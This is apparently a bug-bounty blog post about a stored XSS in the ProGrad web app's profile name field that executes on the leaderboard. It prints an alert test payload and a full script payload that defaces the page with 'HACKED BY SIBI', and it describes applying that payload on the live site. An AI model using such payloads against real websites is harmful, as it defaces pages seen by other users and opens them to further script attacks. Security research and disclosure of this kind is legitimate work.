# Defacing the Web application

*lets start :)*

### What is XSS? <a href="#c6ca" id="c6ca"></a>

> A Typical web app works by receiving a HTML code from a backend and rendering it on client side browser. when a vulnerable web app doesn't properly sanitize user input, Attacker can inject a malicious javascript code to the input, so once a user views a same page , they unknowingly excecutes the malicious javascript code.This attack is named as XSS([Cross Site Scripting](https://owasp.org/www-community/attacks/xss/)).

### What is Defacing? <a href="#id-2b5b" id="id-2b5b"></a>

> One of the most common attacks usually used with stored XSS vulnerabilities is website defacing attacks. `Defacing` a website means changing its look for anyone who visits the website. It is very common for hacker groups to deface a website to claim that they had successfully hacked it.

Few Months back I Tested Faceprep and their parent companies prograd and junior prograd i found a P0 bugs in their web app like Auth bypass using JWT token, idor,and etc…. , i got a responce from them and pay a Reward for those bugs.

After that i Tested ProGrad and checking for SSTI,CSRF,IDOR,XSS and many more

While checking for XSS i change a Name of account and check where it is reflected. its reflecting on main page and that blacklisting our payload , i tried a lot and confused with their blacklisting.

<figure><img src="https://3344709158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAKWt8bTbHl7puA2dEZ5w%2Fuploads%2F2lWpMDudtBlB3uGpdDLe%2Fimage.png?alt=media&#x26;token=6bd03087-364e-4f90-9cbd-1182914d6d67" alt=""><figcaption></figcaption></figure>

After some time i Accidentally check the Leaderboard where a basic payload executed.

### \<script>alert(1)\</script> <a href="#b856" id="b856"></a>

<figure><img src="https://3344709158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAKWt8bTbHl7puA2dEZ5w%2Fuploads%2FAO6MV37bQ4dPCU7VQbYF%2Fimage.png?alt=media&#x26;token=4a3d7d34-620b-4d02-90ab-ea924cd954d3" alt=""><figcaption></figcaption></figure>

**its Executes a javascript**

after Excutes a Javascript i decided to deface a total web app using this XSS so i used some of javascript code heres there are

```
document.getElementsByTagName('body')[0].innerHTML = "New Text"
```

> As we can see, we can specify the `body` element with `document.getElementsByTagName('body')`, and by specifying `[0]`, we are selecting the first `body` element, which should change the entire text of the web page, However, before sending our payload and making a permanent change, we should prepare our HTML code separately and then use `innerHTML` to set our HTML code to the page source.

```
<center>
    <p style="color: black">HACKED BY SIBI
    </p>
</center>
```

### **Complete payload:** <a href="#c561" id="c561"></a>

```
<script>document.getElementsByTagName('body')[0].innerHTML='<center><h1><p style="color: black">HACKED BY SIBI</p></h1></center>'</script>
```

<figure><img src="https://3344709158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAKWt8bTbHl7puA2dEZ5w%2Fuploads%2FBR8lH4lknwYHa4GVvKpR%2Fimage.png?alt=media&#x26;token=465cc7f3-1ce8-4fdf-921b-13a47fa7b2a4" alt=""><figcaption></figcaption></figure>

> Let’s Update profile and see the leaderboard

<figure><img src="https://3344709158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAKWt8bTbHl7puA2dEZ5w%2Fuploads%2FctuCAvvyCizRhjSToyLY%2Fimage.png?alt=media&#x26;token=8fafa241-dcb5-441d-bb46-60217d066136" alt=""><figcaption></figcaption></figure>

Thank you for Reading this blog❤️🍾
